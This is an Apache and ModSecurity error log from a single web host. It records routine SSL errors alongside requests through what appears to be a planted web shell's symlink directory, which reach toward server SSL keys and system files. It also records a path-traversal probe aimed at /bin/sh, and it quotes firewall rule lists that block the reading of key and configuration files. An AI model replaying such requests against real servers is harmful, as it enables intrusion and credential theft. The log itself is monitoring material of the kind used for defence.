[Sun Oct 25 23:28:03.616866 2026] [security2:error] [pid 2948938:tid 2948938] [client 185.191.171.13:23126] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e527e_1051f_2b6523ac48f8e16129d80530e838e9f9.key"] [unique_id "at7Iw1N_bUq_OQDpNPOnOQAAAAo"]
[Sun Oct 25 23:28:03.617233 2026] [security2:error] [pid 2948938:tid 2948938] [client 185.191.171.13:23126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e527e_1051f_2b6523ac48f8e16129d80530e838e9f9.key"] [unique_id "at7Iw1N_bUq_OQDpNPOnOQAAAAo"]
[Sun Oct 25 23:28:03.617573 2026] [security2:error] [pid 2948938:tid 2948938] [client 185.191.171.13:23126] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e527e_1051f_2b6523ac48f8e16129d80530e838e9f9.key"] [unique_id "at7Iw1N_bUq_OQDpNPOnOQAAAAo"]
[Sun Oct 25 23:28:10.458364 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 34.204.150.196:5027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:26.397432 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 34.204.150.196:3777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:30.545486 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 3.217.171.106:26691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:34.426892 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.196.114.170:18501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:42.553887 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 52.45.92.83:8358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:54.763958 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 52.54.95.127:49765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:58.492041 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.144.185.255:9102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:29:02.575571 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 18.232.36.1:61943] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:29:06.563164 2026] [ssl:error] [pid 2954192:tid 2954192] (70014)End of file found: [client 184.73.47.24:18606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:29:17.176314 2026] [core:error] [pid 2949645:tid 2949645] (13)Permission denied: [client 85.208.96.193:41206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/slab_size
[Sun Oct 25 23:29:34.465176 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 52.203.68.145:24158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:29:38.479057 2026] [security2:error] [pid 2954190:tid 2954190] [client 52.203.68.145:28849] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0303:00/physical_node1/power/"] [unique_id "at7JIvoKyTuj-yC3xtKGBAAAAAE"]
[Sun Oct 25 23:29:38.479104 2026] [security2:error] [pid 2954190:tid 2954190] [client 52.203.68.145:28849] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0303:00/physical_node1/power/"] [unique_id "at7JIvoKyTuj-yC3xtKGBAAAAAE"]
[Sun Oct 25 23:29:54.936174 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 44.193.102.198:2193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:14.509897 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 54.157.99.244:37247] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:34.500780 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 54.85.7.119:20909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:38.573011 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 3.221.222.168:46186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/remove
[Sun Oct 25 23:30:42.521487 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.0.105.244:11596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:46.668510 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.235.172.96:55194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:50.644645 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.204.81.148:52456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:54.530942 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 35.172.125.172:14852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:30:54.531133 2026] [security2:error] [pid 2949651:tid 2949651] [client 35.172.125.172:14852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory7/phys_index"] [unique_id "at7Jbq2Hvm-I1Dg70Ad4kAAAABU"]
[Sun Oct 25 23:30:54.531162 2026] [security2:error] [pid 2949651:tid 2949651] [client 35.172.125.172:14852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory7/phys_index"] [unique_id "at7Jbq2Hvm-I1Dg70Ad4kAAAABU"]
[Sun Oct 25 23:30:58.525752 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 18.214.251.19:1466] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:02.497606 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 98.83.177.42:2877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:06.543871 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.225.199.17:59811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:14.663879 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 54.80.73.122:21328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:18.631838 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 44.210.204.255:43876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:24.339456 2026] [core:error] [pid 2955279:tid 2955279] [client 43.165.170.19:57930] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sun Oct 25 23:31:26.498270 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.93.98.99:43347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:28.565224 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 85.208.96.202:25248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/slabs_cpu_partial
[Sun Oct 25 23:31:34.477249 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.45.15.233:52553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:38.685067 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 34.227.234.246:51794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:50.496004 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.6.5.24:45269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:54.547360 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.223.134.5:35038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:31:55.681248 2026] [security2:error] [pid 2955283:tid 2955283] [client 185.191.171.12:53586] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/bash-completion/completions/bootctl"] [unique_id "at7Jq-3Ha-vJ10KTtlSsAgAAAAg"]
[Sun Oct 25 23:31:55.681300 2026] [security2:error] [pid 2955283:tid 2955283] [client 185.191.171.12:53586] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/bash-completion/completions/bootctl"] [unique_id "at7Jq-3Ha-vJ10KTtlSsAgAAAAg"]
[Sun Oct 25 23:32:03.213796 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 85.208.96.209:14830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/ftpd-rsa-key.pem
[Sun Oct 25 23:32:10.295779 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 44.207.69.106:64757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:32:22.314911 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 107.20.181.148:37404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/port
[Sun Oct 25 23:32:26.317787 2026] [ssl:error] [pid 2950825:tid 2950825] (5)Input/output error: [client 52.4.76.156:14857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:32:38.174065 2026] [core:error] [pid 2955283:tid 2955283] (13)Permission denied: [client 3.221.156.96:59927] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/physical_node/driver/bind
[Sun Oct 25 23:32:47.914492 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 85.208.96.203:29970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/objects_partial
[Sun Oct 25 23:32:54.994159 2026] [security2:error] [pid 2954191:tid 2954191] [client 107.172.76.131:50699] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7J17gkTn8hpWp1OlnB3wAAAAk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:32:54.994268 2026] [security2:error] [pid 2954191:tid 2954191] [client 107.172.76.131:50699] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7J17gkTn8hpWp1OlnB3wAAAAk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 23:32:58.190793 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 54.147.182.90:63119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:32:58.768893 2026] [security2:error] [pid 2949645:tid 2949645] [client 107.172.76.131:50696] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7J3svHbTR9X85YLoZ8NQAAAAA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 23:32:58.768966 2026] [security2:error] [pid 2949645:tid 2949645] [client 107.172.76.131:50696] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7J3svHbTR9X85YLoZ8NQAAAAA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 23:33:26.205173 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 34.194.165.45:33988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:33:30.211841 2026] [security2:error] [pid 2948938:tid 2948938] [client 100.29.160.53:38979] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/wakeup/"] [unique_id "at7KClN_bUq_OQDpNPOnQwAAAAo"]
[Sun Oct 25 23:33:30.211882 2026] [security2:error] [pid 2948938:tid 2948938] [client 100.29.160.53:38979] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/wakeup/"] [unique_id "at7KClN_bUq_OQDpNPOnQwAAAAo"]
[Sun Oct 25 23:33:34.177876 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 52.204.71.8:35256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:33:38.199959 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 52.3.156.186:61430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:33:42.283889 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 23.21.250.48:33898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:33:46.177611 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.71.203.206:48397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:33:58.544104 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 3.224.215.150:58242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:02.280849 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 34.196.6.199:51648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:09.138966 2026] [core:error] [pid 2955279:tid 2955279] (13)Permission denied: [client 185.191.171.13:14932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/free_calls
[Sun Oct 25 23:34:10.581859 2026] [ssl:error] [pid 2950825:tid 2950825] (5)Input/output error: [client 23.20.178.124:56899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:10.978435 2026] [ssl:error] [pid 2950561:tid 2950561] (5)Input/output error: [client 185.191.171.7:44772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:11.012956 2026] [ssl:error] [pid 2949173:tid 2949173] (5)Input/output error: [client 185.191.171.7:44776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:18.177867 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 44.194.139.149:43977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:22.209871 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 54.157.99.244:62835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:34.411513 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 18.214.251.19:58543] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:42.172198 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.7.13.143:6126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:34:54.149920 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 98.83.177.42:41781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:35:02.180798 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 98.84.184.80:7413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:35:06.168981 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 44.193.115.232:51955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:35:14.164781 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 54.87.62.248:62778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:35:18.185068 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 52.0.218.219:38621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:35:30.051112 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 185.191.171.1:23302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/hwcache_align
[Sun Oct 25 23:35:46.268810 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 98.82.39.241:20073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:36:06.158783 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 52.73.142.41:14773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:36:10.362030 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 44.217.177.142:59101] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:1b/eject
[Sun Oct 25 23:36:14.161760 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 3.222.190.107:11695] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:36:26.160640 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 3.218.35.239:4427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:03/subsystem/drivers_probe
[Sun Oct 25 23:36:30.264446 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 34.192.67.98:41882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:36:38.162079 2026] [security2:error] [pid 2949515:tid 2949515] [client 54.84.161.62:28387] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mouse1/subsystem/input1/input1::capslock/"] [unique_id "at7Kxh9ZWJbCICX7c2HyeAAAABE"]
[Sun Oct 25 23:36:38.162154 2026] [security2:error] [pid 2949515:tid 2949515] [client 54.84.161.62:28387] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mouse1/subsystem/input1/input1::capslock/"] [unique_id "at7Kxh9ZWJbCICX7c2HyeAAAABE"]
[Sun Oct 25 23:36:52.750394 2026] [security2:error] [pid 2952056:tid 2952056] [client 107.172.76.131:50702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Kx5GehNisEVJl_lKl2wAAAAs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 23:36:52.750501 2026] [security2:error] [pid 2952056:tid 2952056] [client 107.172.76.131:50702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7Kx5GehNisEVJl_lKl2wAAAAs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 23:36:58.398531 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 3.226.34.98:10104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:37:18.152319 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 18.209.201.119:35845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:37:22.141268 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 34.205.163.103:42666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:37:26.428891 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.189.4.240:35008] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT pro.ip-api.com:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "pro.ip-api.com"] [uri "/"] [unique_id "at7K9voKyTuj-yC3xtKGHQAAAAE"]
[Sun Oct 25 23:37:30.195312 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 54.90.8.255:34815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:37:37.106592 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 185.191.171.18:26202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:37:38.139105 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 35.171.117.160:59040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:37:48.488937 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 185.191.171.12:61022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/poison
[Sun Oct 25 23:38:06.138111 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 52.45.29.57:57492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:10.162485 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 44.213.36.21:36358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:18.152203 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 98.82.107.102:27613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:22.161119 2026] [ssl:error] [pid 2955721:tid 2955721] (70014)End of file found: [client 54.144.185.255:31653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:25.010484 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 185.191.171.13:58316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/cpu_slabs
[Sun Oct 25 23:38:26.157958 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 34.202.88.37:31144] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:30.124528 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 54.91.122.193:26606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:46.402621 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 98.84.200.43:49461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:51.294804 2026] [security2:error] [pid 2948938:tid 2948938] [client 43.134.163.229:41662] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scraper_colombia.php"] [unique_id "at7LS1N_bUq_OQDpNPOnTQAAAAo"]
[Sun Oct 25 23:38:54.150509 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 52.54.15.103:3940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:38:58.325191 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 44.209.89.189:56449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:39:06.161387 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 44.205.180.155:7386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/driver/bind
[Sun Oct 25 23:39:14.139572 2026] [ssl:error] [pid 2955721:tid 2955721] (70014)End of file found: [client 3.214.176.44:12199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:39:22.778285 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 16.216.88.198:4096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/agent360.sh
[Sun Oct 25 23:39:25.119533 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 85.208.96.206:11928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/cpu_slabs
[Sun Oct 25 23:39:26.273847 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 100.29.128.75:4758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:39:30.311162 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 54.221.203.24:17744] AH02013: coalesce failed to read from data bucket
